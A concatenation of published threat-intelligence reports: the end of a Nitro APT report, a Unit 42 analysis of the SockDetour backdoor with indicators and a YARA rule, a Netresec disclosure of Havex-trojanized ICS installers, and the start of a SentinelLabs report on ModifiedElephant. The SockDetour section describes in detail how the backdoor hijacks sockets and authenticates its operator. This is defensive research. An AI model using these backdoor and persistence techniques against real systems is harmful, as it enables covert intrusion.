Table 4 SHA256 e7f2af8c48f837da57000c068368d77bc9b06eba1e077edfab58df6aa2ea40ec MD5 271e6a4d45c2817f86148ca413f97604 File Name mdm.exe File Size 118784 First Seen 2014-05-20 08:43:15 C2 URL zipoo.redirectme[.
]net Resolution 196.45.144.12 Table 5 SHA256 e601da16f923b33465dbafbff9d47195e8fc50099fd0581a16a1745bf890afb6 MD5 be765cd5723e4366d35172aaf13fad44 File Name CitrixReceiverWeb.exe File Size 135168 First Seen 2014-05-15 16:34:10 C2 URL zipoo.redirectme[.
]net Resolution 196.45.144.12 The malware dropped was configured to use good.myftp[.
]org as the C2 URL, and the IP resolution was 223.25.233.248.
Both of these are known Nitro Indicators of Compromise (IOCs).
In this case, the malware was a Farfli variant, again not a malware previously tied to this group.
39 AV vendors within VirusTotal properly identify the file as malware.
The PE timestamp on the file was 1 April, about two weeks before we saw the file.
Continuing the activity, we discovered the actors had compromised a legitimate website belonging to an international technology company that provides Software Configuration and Change Management (SCCM) solutions in mid-May.
(
It is a well regarded company and partners with large companies such as Microsoft.)
Table 6 SHA256 184c083e839451c2ab0de7a89aa801dc0458e2bd1fe79e60f35c26d92a0dbf6a MD5 ec519d709c0582346741fe0094208216 File Name update.exe File Size 159744 First Seen 2014-04-15 01:13:14 C2 URL good.myftp[.
]org Resolution 223.25.233.248 The final sample, from mid-March, was also hosted on a compromised legitimate website, this time a small, US based IT company.
The IP resolved by the C2 URL was changed two days after we saw this file to overlap with good.myftp[.
]org for a month before returning the below resolution.
The filename matches that of the sample in Table 5, which had a very similar third level C2 domain and the same IP resolution.
This is also a Spindest variant with a PE timestamp of the same day we saw it.
39 AV vendors within VirusTotal properly identify the file as malware.
Table 7 SHA256 ffbddfb536e8e604c880ec977d06f804a500fc0396899bd2c195fb1f5b74207a MD5 a3b2e34973691ad320b70248bd67fbd2 File Name CitrixReceiverWeb.exe File Size 192512 First Seen 2014-03-12 06:58:22 C2 URL zip.redirectme[.
]net Resolution 196.45.144.12 As this post and previous cited research show, APT groups such as Nitro will continue to evolve their techniques within the kill chain to avoid detection.
However, they also demonstrate the value of tracking these threats over time, as this allowed us to uncover and properly attribute the new IOCs because Nitro was still re-using old C2 infrastructure with their new malware.
For Palo Alto Networks customers, all of these files were properly identified by WildFire as malware and all of the C2 domains are labeled as threats in both Threat Prevention and URL Filtering systems.
1/5 February 24, 2022 SockDetour  a Silent, Fileless, Socketless Backdoor  Targets U.S. Defense Contractors unit42.paloaltonetworks.com/sockdetour By Unit 42 February 24, 2022 at 6:00 AM Category: Malware Tags: APT, backdoor, CVE-2021-28799, CVE-2021-40539, CVE-2021-44077, TiltedTemple, Windows This post is also available in:  (Japanese) Executive Summary Unit 42 has been tracking an APT campaign we name TiltedTemple, which we first identified in connection with its use of the Zoho ManageEngine ADSelfService Plus vulnerability CVE-2021-40539 and ServiceDesk Plus vulnerability CVE-2021-44077.
The threat actors involved use a variety of techniques to gain access to and persistence in compromised systems and have successfully compromised more than a dozen organizations across the technology, energy, healthcare, education, finance and defense industries.
In conducting further analysis of this campaign, we identified another sophisticated tool being used to maintain persistence, which we call SockDetour.
A custom backdoor, SockDetour is designed to serve as a backup backdoor in case the primary one is removed.
It is difficult to detect, since it operates filelessly and socketlessly on compromised Windows servers.
One of the command and control (C2) infrastructures that the threat actor used for malware distribution for the TiltedTemple campaign hosted SockDetour along with other miscellaneous tools such as a memory dumping tool and several webshells.
We are tracking SockDetour as one campaign within TiltedTemple, but cannot yet say definitively whether the activities stem from a single or multiple threat actors.
Based on Unit 42s telemetry data and the analysis of the collected samples, we believe the threat actor behind SockDetour has been focused on targeting U.S.-based defense contractors using the tools.
Unit 42 has evidence of at least four defense contractors being targeted by this campaign, with a compromise of at least one contractor.
Unit 42 also believes it is possible that SockDetour has been in the wild since at least July 2019.
We did not find any additional SockDetour samples on public repositories, meaning that the backdoor successfully stayed under the radar for a long time.
Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.
Palo Alto Networks customers are protected from the threats described in this blog by Cortex XDR and WildFire, and can use AutoFocus for tracking related entities.
Additionally, the YARA rule we attached at the end of this blog post can be used to detect SockDetour in memory.
Vulnerabilities Discussed CVE-2021-40539, CVE-2021-44077, CVE-2021-28799 Operating System Affected Windows Related Unit 42 Topics TiltedTemple, APT, backdoors Table of Contents https://unit42.paloaltonetworks.com/sockdetour/ https://unit42.paloaltonetworks.com/author/unit42/ https://unit42.paloaltonetworks.com/category/malware-2/ https://unit42.paloaltonetworks.com/tag/apt/ https://unit42.paloaltonetworks.com/tag/backdoor/ https://unit42.paloaltonetworks.com/tag/cve-2021-28799/ https://unit42.paloaltonetworks.com/tag/cve-2021-40539/ https://unit42.paloaltonetworks.com/tag/cve-2021-44077/ https://unit42.paloaltonetworks.com/tag/tiltedtemple/ https://unit42.paloaltonetworks.com/tag/windows/ https://unit42.paloaltonetworks.jp/sockdetour/ https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html https://unit42.paloaltonetworks.com/atoms/tiltedtemple/ https://www.paloaltonetworks.com/cortex/cortex-xdr https://www.paloaltonetworks.com/products/secure-the-network/wildfire https://www.paloaltonetworks.com/cortex/autofocus https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2021-40539 https://www.manageengine.com/products/service-desk/security-response-plan.html https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/ https://unit42.paloaltonetworks.com/tag/tiltedtemple/ https://unit42.paloaltonetworks.com/tag/APT/ https://unit42.paloaltonetworks.com/tag/backdoor/ 2/5 Background on the TiltedTemple Campaign SockDetour Targets US Defense Industry SockDetour Hosted by Compromised Home and SOHO NAS Server Analysis of SockDetour Client Authentication and C2 Communication Plugin Loading Feature Conclusion Protections and Mitigations Indicators of Compromise Background on the TiltedTemple Campaign TiltedTemple is the name Unit 42 gives to a campaign being conducted by an advanced persistent threat (APT) or APTs, leveraging a variety of initial access vectors, to compromise a diverse set of targets globally.
Our initial publications on TiltedTemple focused on attacks that occurred through compromised ManageEngine ADSelfService Plus servers and through ManageEngine ServiceDesk Plus.
The TiltedTemple campaign has compromised organizations across the technology, energy, healthcare, education, finance and defense industries and conducted reconnaissance activities against these industries and others, including infrastructure associated with five U.S. states.
We found SockDetour hosted on infrastructure associated with TiltedTemple, though we have not yet determined whether this is the work of a single threat actor or several.
SockDetour Targets US Defense Industry While the TitledTemple campaign was initially identified as starting in August 2021, we have recently discovered evidence that SockDetour was delivered from an external FTP server to a U.S.-based defense contractors internet-facing Windows server on July 27, 2021.
The FTP server also hosted other miscellaneous tools used by the threat actor, such as a memory dumping tool and ASP webshells.
After analyzing and tracking these indicators, we were able to discover that at least three other U.S.-based defense contractors were targeted by the same actor.
SockDetour Hosted by Compromised Home and SOHO NAS Server The FTP server that hosted SockDetour was a compromised Quality Network Appliance Provider (QNAP) small office and home office (SOHO) network-attached storage (NAS) server.
The NAS server is known to have multiple vulnerabilities, including a remote code execution vulnerability, CVE-2021-28799.
This vulnerability was leveraged by various ransomware families in massive infection campaigns in April 2021.
We believe the threat actor behind SockDetour likely also leveraged these vulnerabilities to compromise the NAS server.
In fact, the NAS server was already infected with QLocker from the previous ransomware campaigns.
Analysis of SockDetour SockDetour is a custom backdoor compiled in 64-bit PE file format.
It is designed to serve as a backup backdoor in case the primary one is detected and removed.
It works on Windows operating systems that are running services with listening TCP ports.
It hijacks network connections made to the pre-existing network socket and establishes an encrypted C2 channel with the remote threat actor via the socket.
Thus, SockDetour requires neither opening a listening port from which to receive a connection nor calling out to an external network to establish a remote C2 channel.
This makes the backdoor more difficult to detect from both host and network level.
In order for SockDetour to hijack an existing processs socket, it needs to be injected into the processs memory.
For this reason, the threat actor converted SockDetour into a shellcode using an open source shellcode generator called Donut framework, then used the PowerSploit memory injector to inject the shellcode into target processes.
The samples we found contained hardcoded target processes IDs, which means the threat actor manually chose injection target processes from compromised servers.
After SockDetour is injected into the target process, the backdoor leverages the Microsoft Detours library package, which is designed for the monitoring and instrumentation of API calls on Windows to hijack a network socket.
Using the DetourAttach() function, it attaches a hook to the Winsock accept() function.
With the hook in place, when new connections are made to the service port and the Winsock accept() API function is invoked, the call to the accept() function is re-routed to the malicious detour function defined in SockDetour.
Other non-C2 traffic is returned to the original service process to ensure the targeted service operates normally without interference.
With such implementation, SockDetour is able to operate filelessly and socketlessly in compromised Windows servers, and serves as a backup backdoor in case the primary backdoor is detected and removed by defenders.
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/ https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/ https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/ https://securityaffairs.co/wordpress/126776/cyber-crime/qlocker-ransomware-attacks-qnap-nas.html https://github.com/TheWover/donut https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-Shellcode.ps1 https://github.com/microsoft/Detours 3/5 Figure 1.
SockDetour Workflow Client Authentication and C2 Communication As SockDetour hijacks all the connections made to the legitimate service port, it first needs to verify the C2 traffic from incoming traffic that is mixed with legitimate service traffic, then authenticate to make sure the C2 connection is made from the right client.
SockDetour achieves the verification and authentication of the C2 connection with the following steps.
1.
First, expect to receive 137 bytes of data from a client for authentication.
The authentication data is as shown in the structure in Table 1.
17 03 03 AA BB CC DD EE FF 128-byte data block Fixed header value to disguise TLS traffic Payload data size Four-byte variable used for client authentication Data signature for client authentication data block Table 1.
SockDetour client authentication data structure.
2.
Read the first nine bytes of data.
This data is received using the recv() function with the MSG_PEEK option so that it will not interfere with the legitimate services traffic by removing data from the socket queue.
3.
Verify that the data starts with 17 03 03, which is commonly seen as a record header for TLS transactions when encrypted data is being transferred.
However, this is abnormal for normal TLS  a TLS-encrypted transaction would not normally show up without proper TLS handshakes.
Figure 2.
SockDetour receives data with the MSG_PEEK option and verifies the data.
4.
Check that the size of payload data AA BB is less than or equal to 251.
5.
Check that the four bytes of payload CC DD EE FF satisfy the conditions below: 1.
The result is 88 a0 90 82 after bitwise AND with 88 a0 90 82 2.
The result is fd f5 fb ef after bitwise OR with fd f5 fb ef 6.
Read the whole 137 bytes of data from the same data queue with the MSG_PEEK option for further authentication.
7.
Build a 24-byte data block as shown in Table 2.
4/5 08 1c c1 78 d4 13 3a d7 0f ab CC DD EE FF b3 a2 b8 ae 63 bb 03 e8 ff 3b 10 bytes hardcoded in SockDetour Four bytes received from the client for authentication 10 bytes hardcoded in SockDetour Table 2.
24-byte data block to be verified for client authentication.
8.
This 24-byte data block is hashed and verified using an embedded public key against the 128-byte data signature in Table 1, which the threat actor would have created by signing the hash of the same 24-byte data block using the corresponding private key.
This completes the client authentication step.
After successful authentication, SockDetour takes over the TCP session using the recv() function without the MSG_PEEK option as this session is now verified to be for the backdoor.
Next, SockDetour creates a 160-bit session key using a hardcoded initial vector value bvyiafszmkjsmqgl, then sends it to the remote client using the following data structure.
17 03 03 AA BB CC DD EE FF session_key random_padding Fixed header value to disguise TLS traffic Payload data size Session key length 160-bit session key Random padding Table 3.
SockDetour sending session key to client.
In common encryption protocols such as TLS, the session key is encrypted with a public key before transferring.
However, in this case, the malware author has seemingly forgotten the step and transfers the key in plain text.
Now with the session key shared between SockDetour and the remote client, the C2 connection is made encrypted over the hijacked socket.
Plugin Loading Feature As a backup backdoor, SockDetour serves only one feature of loading a plugin DLL.
After the session key sharing, SockDetour receives four bytes of data from the client, which indicates the length of data SockDetour will receive for the final payload delivery stage.
The size is expected to be smaller or equal to five MB.
The final payload data received is encrypted using the shared session key.
After decryption, the received data is expected to be in JSON format with two objects app and args.
app contains a base 64-encoded DLL, and args contains an argument to be passed to the DLL.
SockDetour loads this plugin DLL in newly allocated memory space, then calls an export function with the name ThreadProc with a function argument in the following JSON structure.
1 2 3 4 5  sock: hijacked_socket, key: session_key, args: arguments_received_from_client  While plugin DLL samples were not discovered, the above function argument suggests that the plugin also likely communicates via the hijacked socket and encrypts the transaction using the session key.
Thus, we surmise it operates as stealthily as SockDetour does.
Conclusion SockDetour is a backdoor that is designed to remain stealthily on compromised Windows servers so that it can serve as a backup backdoor in case the primary one fails.
It is filelessly loaded in legitimate service processes and uses legitimate processes network sockets to establish its own encrypted C2 channel.
While it can be easily altered, the compilation timestamp of the SockDetour sample we analyzed suggests that it has likely been in the wild since at least July 2019 without any update to the PE file.
Plus, we did not find any additional SockDetour samples on public repositories.
This suggests that the backdoor successfully stayed under the radar for a long time.
The plugin DLL remains unknown, but it is also expected to operate very stealthily by being delivered via the SockDetours encrypted channel, being loaded filelessly in memory and communicating via hijacked sockets.
As an additional note, the type of NAS server that we found hosting SockDetour is typically used by small businesses.
This example serves as a critical reminder to patch this type of server frequently when fixes are released.
Protections and Mitigations Cortex XDR protects endpoints and accurately identifies the memory injector as malicious.
Additionally, Cortex XDR has several detections for lateral movement and credential theft tactics, techniques and procedures (TTPs) employed by this actor set.
WildFire cloud-based threat analysis service accurately identifies the injector used in this campaign as malicious.
https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/::textwith20this20campaign3A-,Threat20Prevention,-provides20protection20against https://www.paloaltonetworks.com/products/secure-the-network/wildfire 5/5 AutoFocus customers can track SockDetour activity via the SockDetour tag.
We advise server administrators to keep Windows servers up to date.
The YARA rule attached at the end of this blog can be used to detect the presence of SockDetour in memory.
Organizations should conduct an incident response investigation if they think they are compromised by SockDetour.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: 31.20.299.3130, APAC: 65.6983.8730 or Japan: 81.50.1790.0200.
Indicators of Compromise SockDetour PE 0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df PowerSploit Memory Injectors Delivering SockDetour 80ed7984a42570d94cd1b6dcd89f95e3175a5c4247ac245c817928dd07fc9540 bee2fe0647d0ec9f2f0aa5f784b122aaeba0cddb39b08e3ea19dd4cdb90e53f9 a5b9ac1d0350341764f877f5c4249151981200df0769a38386f6b7c8ca6f9c7a 607a2ce7dc2252e9e582e757bbfa2f18e3f3864cb4267cd07129f4b9a241300b 11b2b719d6bffae3ab1e0f8191d70aa1bade7f599aeadb7358f722458a21b530 cd28c7a63f91a20ec4045cf40ff0f93b336565bd504c9534be857e971b4e80ee ebe926f37e7188a6f0cc85744376cdc672e495607f85ba3cbee6980049951889 3ea2bf2a6b039071b890f03b5987d9135fe4c036fb77f477f1820c34b341644e 7e9cf2a2dd3edac92175a3eb1355c0f5f05f47b7798e206b470637c5303ac79f bb48438e2ed47ab692d1754305df664cda6c518754ef9a58fb5fa8545f5bfb9b Public Key Embedded in SocketDetour -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxDaT ----END PUBLIC KEY----- YARA Rule for Detecting SockDetour in Memory 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 rule apt_win_sockdetour  meta: author  Unit 42 - PaloAltoNetworks date  2022-01-23 description  Detects SockDetour in memory or in PE format hash01  0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df strings: public_key MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD json_name_sequence  61 70 70 00 61 72 67 73 00 00 00 00 73 6F 63 6B 00 00 00 00 6B 65 79 00 61 72 67 73 00 00 verification_bytes  88 [4] A0 [4] 90 [4] 82 [4] FD [4] F5 [4] FB [4] EF data_block  08 [4] 1C [4] C1 [4] 78 [4] D4 [4] 13 [4] 3A [4] D7 [4] 0F [4] AB [4] B3 [4] A2 [4] B8 [4] AE [4] 63 [4] BB [4] 03 [4] E8 [4] FF [4] 3 initial_vector  62 [4] 76 [4] 79 [4] 69 [4] 61 [4] 66 [4] 73 [4] 7A [4] 6D [4] 6B [4] 6A [4] 73 [4] 6D [4] 71 [4] 67 [4] 6C condition: any of them  Get updates from Palo Alto Networks Sign up to receive the latest news, cyber threat intelligence and research from us By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
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Full Disclosure of Havex Trojans Monday, 27 October 2014 11:11:00 (UTC/GMT) I did a presentation at the 4SICS conference earlier this week, where I disclosed the results from my analysis of the Havex RAT/backdoor (slides available here).
The Havex backdoor is developed and used by a hacker group called Dragonfly, who are also known as Energetic Bear and Crouching Yeti.
Dragonfly is an APT hacker group, who have been reported to specifically target organizations in the energy sector as well as companies in other ICS sectors such as industrial/machinery, manufacturing and pharmaceutical.
In my 4SICS talk I disclosed a previously unpublished comprehensive view of ICS software that has been trojanized with the Havex backdoor, complete with screenshots, version numbers and checksums.
Dale Petersen, founder of Digital Bond, expressed the following request regarding the lack of public information about the software trojanized with Havex: If the names of the vendors that unwittingly spread Havex were made public, the wide coverage would likely reach most of the affected asset owners.
Following Dales request we decided to publish the information presented at 4SICS also in this blog post, in order to reach as many affected asset owners as possible.
The information published here is based on our own sandbox executions of Havex malware samples, which we have obtained via CodeAndSec and malwr.com.
In addition to what I presented at 4SICS, this blog post also includes new findings published by Joel scadahacker Langill in version 2.0 of his Dragonfly white paper, which was released just a couple of hours after my talk.
In Symantecs blog post about Havex they write: Three different ICS equipment providers were targeted and malware was inserted into the software bundles Trojanized MESA Imaging driver The first vendor known to have their software trojanized by the Dragonfly group was the Swiss company MESA Imaging, who manufacture industrial grade cameras for range measurements.
http://4sics.se/ http://www.netresec.com/files/4SICS_SCADA_Network_Forensics_NETRESEC.pdf http://www.digitalbond.com/blog/2014/07/02/havex-hype-unhelpful-mystery/ https://twitter.com/CodeAndSec https://malwr.com/ http://twitter.com/scadahacker http://info.belden.com/ab-cyber-security-dragonfly-bc-lp http://www.symantec.com/connect/blogs/dragonfly-western-energy-companies-under-sabotage-threat Image: Screenshot of trojanized MESA Imaging driver installer from our sandbox execution Company: MESA Imaging Product: Swiss Ranger version 1.0.14.706 (libMesaSR) Filename: SwissrangerSetup1.0.14.706.exe Exposure: Six weeks in June and July 2013 (source: Symantec) Backdoor: Sysmain RAT MD5: e027d4395d9ac9cc980d6a91122d2d83 SHA256: 398a69b8be2ea2b4a6ed23a55459e0469f657e6c7703871f63da63fb04cefe90 eWON / Talk2M The second vendor to have their software trojanized was the Belgian company eWON, who provide a remote maintenance service for industrial control systems called Talk2M.
eWon published an incident report in January 2014 and then a follow-up report in July 2014 saying: Back in January 2014, the eWON commercial web site www.ewon.biz had been compromised.
A corrupted eCatcherSetup.exe file had been uploaded into the CMS (Content Management System) of www.ewon.biz web site.
eCatcher download hyperlinks were rerouted to this corrupted file.
The corrupted eCatcherSetup.exe contained a malware which could, under http://www.ewon.biz/ http://www.ewon.biz/en/talk2m-incident-report.html?cmp_id7news_id4860 http://www.ewon.biz/en/january-security-incident-follow-up-report.html?cmp_id7news_id4900 restricted conditions, compromise the Talk2M login of the infected user.
Image: Screenshot of trojanized Talk2M eCatcher installer from our sandbox execution Company: eWON Product: Talk2M eCatcher version 4.0.0.13073 Filename: eCatcherSetup.exe Exposure: Ten days in January 2014, 250 copies downloaded (source: Symantec) Backdoor: Havex 038 MD5: eb0dacdc8b346f44c8c370408bad4306 SHA256: 70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9 Prior to version 2.0 of Joels Dragonfly report, eCatcher was the only product from eWON known to be infected with the Havex backdoor.
However, Joels report also listed a product called eGrabit, which we managed to obtain a malware sample for via malwr.com.
https://malwr.com/analysis/ZTlhZmM5YjY5NTk2NDA1Nzg3ZDBkOTIyMzk1ZWNhZmU/ Image: Screenshot of trojanized eGrabIt installer from our sandbox execution Company: eWON Product: eGrabIt 3.0.0.82 (version 3.0 Build 82) Filename: egrabitsetup.exe Exposure: unknown Backdoor: Havex RAT 038 MD5: 1080e27b83c37dfeaa0daaa619bdf478 SHA256: 0007ccdddb12491e14c64317f314c15e0628c666b619b10aed199eefcfe09705 MB Connect Line The most recent company known to have their software infected with the Havex backdoor was the German company MB Connect Line GmbH, who are known for their industrial router mbNET and VPN service mbCONNECT24.
MB Connect Line published a report about the Dragonfly intrusion in September 2014, where they write: On 16th of April 2014 our website www.mbconnectline.com has been attacked by hackers.
The files mbCHECK (Europe), VCOM_LAN2 and mbCONFTOOL have been replaced with infected files.
These files were available from 16th of April 2014 to 23th of April 2014 for download from http://www.mbconnectline.com/index.php/en/ http://mbconnectline.com/index.php/en/news2/item/abschlussbericht-zum-hacker-angriff-im-april-2014 our website.
All of these files were infected with the known Trojan Virus Havex Rat.
Image: Screenshot of trojanized mbCONFTOOL installer from our sandbox execution Company: MB Connect Line GmbH Product: mbCONFTOOL V 1.0.1 Filename: setup_1.0.1.exe Exposure: April 16 to April 23, 2014 (source: MB Connect Line) Backdoor: Havex RAT 044 MD5: 0a9ae7fdcd9a9fe0d8c5c106e8940701 SHA256: c32277fba70c82b237a86e9b542eb11b2b49e4995817b7c2da3ef67f6a971d4a Image: Screenshot of trojanized mbCHECK application from our sandbox execution Company: MB Connect Line GmbH Product: mbCHECK (EUROPE) V 1.1.1 Filename: mbCHECK.exe Exposure: April 16 to April 23, 2014 (source: MB Connect Line) Backdoor: Havex RAT 044 MD5: 1d6b11f85debdda27e873662e721289e SHA256: 0b74282d9c03affb25bbecf28d5155c582e246f0ce21be27b75504f1779707f5 Notice how only mbCHECK for users in Europe was trojanized, there has been no report of the USA/CAN version of mbCHECK being infected with Havex.
We have not been able to get hold of a malware sample for the trojanized version of VCOM_LAN2.
The screenshot below is therefore from a clean version of this software.
Image: Screenshot VCOM_LAN2 installer Company: MB Connect Line GmbH Product: VCOM_LAN2 Filename: setupvcom_lan2.exe Exposure: April 16 to April 23, 2014 (source: MB Connect Line) Backdoor: unknown MD5: unknown SHA256: unknown Conclusions on Havex Trojans The vendors who have gotten their software trojanized by Dragonfly are all European ICS companies (Switzerland, Belgium and Germany).
Additionally, only the mbCHECK version for users in Europe was infected with Havex, but not the one for US / Canada.
These facts indicate that the Dragonfly / Energetic Bear threat actor seems to primarily target ICS companies in Europe.
Next: Detecting Havex with NSM Were currently working on a follow-up blog post, which shows how to detect and analyze network traffic from ICS networks infected with Havex.
Share              Short URL: http://netresec.com/?b14ABDA4 Posted by Erik Hjelmvik on Monday, 27 October 2014 11:11:00 (UTC/GMT) http://www.addthis.com/bookmark.php?sourcetbx32nj-1.0250pubidxa-4d7526e93a9537a7urlhttp3a2f2fwww.netresec.com2f3fpage3dBlog26month3d2014-1026post3dFull-Disclosure-of-Havex-TrojanstitleFull20Disclosure20of20Havex20Trojans http://www.facebook.com/sharer.php?uhttp3a2f2fwww.netresec.com2f3fpage3dBlog26month3d2014-1026post3dFull-Disclosure-of-Havex-Trojans http://twitter.com/?statusFull20Disclosure20of20Havex20Trojans3a20http3a2f2fnetresec.com3fb14ABDA420via2040netresec http://www.reddit.com/r/netsec/submit?urlhttp3a2f2fwww.netresec.com2f3fpage3dBlog26month3d2014-1026post3dFull-Disclosure-of-Havex-Trojans https://news.ycombinator.com/submitlink?uhttp3a2f2fwww.netresec.com2f3fpage3dBlog26month3d2014-1026post3dFull-Disclosure-of-Havex-TrojanstFull20Disclosure20of20Havex20Trojans http://netresec.com/?b14ABDA4
1MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE Author: Tom Hegel, Juan Andres Guerrero-Saade February 2022 SentinelLABS Research Team 2MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE TABLE OF CONTENTS 3 EXECUTIVE SUMMMARY 4  BACKGROUND 5  TARGETS  OBJECTIVES 5  INFECTION ATTEMPTS 7  WEAPONS OF CHOICE 11  RELATIONS TO OTHER THREAT CLUSTERS 12  ATTRIBUTION 12  CONCLUSION 13  INDICATORS OF COMPROMISE 18  TECHNICAL REFERENCES 19  ABOUT SENTINELLABS EXECUTIVE SUMMARY S e n t i n e l L a b s  Te a m Our research attributes a decade of activity to a threat actor we call ModifiedElephant.
ModifiedElephant is responsible for targeted attacks on human rights activists, human rights defenders, academics, and lawyers across India with the objective of planting incriminating digital evidence.
ModifiedElephant has been operating since at least 2012, and has repeatedly targeted specific individuals.
ModifiedElephant operates through the use of commercially available remote access trojans (RATs) and has potential ties to the commercial surveillance industry.
The threat actor uses spearphishing with malicious documents to deliver malware, such as NetWire, DarkComet, and simple keyloggers with infrastructure overlaps that allow us to connect long periods of previously unattributed malicious activity.
4MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE BACKGROUND In September 2021, SentinelLabs published research into the operations of a Turkish-nexus threat actor we called EGoManiac, drawing attention to their practice of planting incriminating evidence on the systems of journalists to justify arrests by the Turkish National Police.
A threat actor willing to frame and incarcerate vulnerable opponents is a critically underreported dimension of the cyber threat landscape that brings up uncomfortable questions about the integrity of devices introduced as evidence.
Emerging details in an unrelated case caught our attention as a potentially similar scenario worthy of more scrutiny.
Long-standing racial and political tensions in India were inflamed on January 1st, 2018 when critics of the government clashed with pro-government supporters near Bhima Koregaon.
The event led to subsequent protests, resulting in more violence and at least one death.
In the following months, Maharashtra police linked the cause of the violence to the banned Naxalite- Maoist Communist party of India.
On April 17th, 2018, police conducted raids and arrested a number of individuals on terrorism-related charges.
The arresting agencies identified incriminating files on the computer systems of defendants, including plans for an alleged assassination attempt against Prime Minister Modi.
Thanks to the public release of digital forensic investigation results by Arsenal Consulting and those referenced below, we can glean rare insights into the integrity of the systems of some defendants and grasp the origin of the incriminating files.
It turns out that a compromise of defendant systems led to the planting of files that were later used as evidence of terrorism and justification for the defendants imprisonment.
The intrusions in question were not isolated incidents.
Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named ModifiedElephant.
This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionally- specific targeting.
ModifiedElephant is still active at the time of writing.
https://www.sentinelone.com/labs/egomaniac-an-unscrupulous-turkish-nexus-threat-actor/ https://www.washingtonpost.com/world/asia_pacific/india-bhima-koregaon-activists-jailed/2021/02/10/8087f172-61e0-11eb-a177-7765f29a9524_story.html https://www.theguardian.com/world/2021/aug/12/bhima-koregaon-case-india-conspiracy-modi https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-I.zip 5MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE TARGETS  OBJECTIVES The objective of ModifiedElephant is long-term surveillance that at times concludes with the delivery of evidence files that incriminate the target in specific crimes prior to conveniently coordinated arrests.
After careful review of the attackers campaigns over the last decade, we have identified hundreds of groups and individuals targeted by ModifiedElephant phishing campaigns.
Activists, human rights defenders, journalists, academics, and law professionals in India are those most highly targeted.
Notable targets include individuals associated with the Bhima Koregaon case.
INFECTION ATTEMPTS Throughout the last decade, ModifiedElephant operators sought to infect their targets via spearphishing emails with malicious file attachments, with their techniques evolving over time.
Their primary delivery mechanism is malicious Microsoft Office document files weaponized to deliver the malware of choice at the time.
The specific payloads changed over the years and across different targets.
However, some notable trends remain.
In mid-2013, the actor used phishing emails containing executable file attachments with fake double extensions (filename.pdf.exe).
After 2015, the actor moved on to less obvious files containing publicly available exploits, such as .doc, .pps, .docx, .rar, and password protected .rar files.
These attempts involved legitimate lure documents in .pdf, .docx, and .mht formats to captivate the targets attention while also executing malware.
In 2019 phishing campaigns, ModifiedElephant operators also took the approach of providing links to files hosted externally for manual download and execution by the target.
As first publicly noted by Amnesty in reference to a subset of this activity, the attacker also made use of large .rar archives (up to 300MB), potentially in an attempt to bypass detection.
Observed lure documents repeatedly made use of CVE-2012-0158, CVE-2014-1761, CVE-2013- 3906, CVE-2015-1641 exploits to drop and execute their malware of choice.
The spearphishing emails and lure attachments are titled and generally themed around topics relevant to the target, such as activism news and groups, global and local events on climate change, politics, and public service.
A public deconstruction of two seperate 2014 phishing emails was shared by Arsenal Consulting in early 2021.
1 https://attack.mitre.org/software/S0073// https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/ https://nvd.nist.gov/vuln/detail/cve-2012-0158 https://nvd.nist.gov/vuln/detail/CVE-2014-1761 https://msrc-blog.microsoft.com/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents/ https://msrc-blog.microsoft.com/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents/ https://nvd.nist.gov/vuln/detail/CVE-2015-1641 https://web.archive.org/web/20210421135320/https://twitter.com/ArsenalArmed/status/1384867766675595264 6MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE ModifiedElephant continually made use of free email service providers, like Gmail and Yahoo, to conduct their campaigns.
The phishing emails take many approaches to gain the appearance of legitimacy.
This includes fake body content with a forwarding history containing long lists of recipients, original email recipient lists with many seemingly fake accounts, or simply resending their malware multiple times using new emails or lure documents.
Notably, in specific attacks, the actor would be particularly persistent and attempt to compromise the same individuals multiple times in a single day.
By reviewing a timeline of attacker activity, we can observe clear trends as the attacker(s) rotate infrastructure over the years.
Fig 1: Spearphishing email containing malicious attachment attributed to ModifiedElephant Fig 2: Timeline sample of ModifiedElephant and SideWinder C2 Infrastructure.
7MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE For example, from early-2013 to mid-2016, a reasonably clear timeline can be built with little overlap, indicating a potential evolution or expansion of activities.
Dates are based on first and last spearphishing emails observed delivering samples that communicate with a given domain.
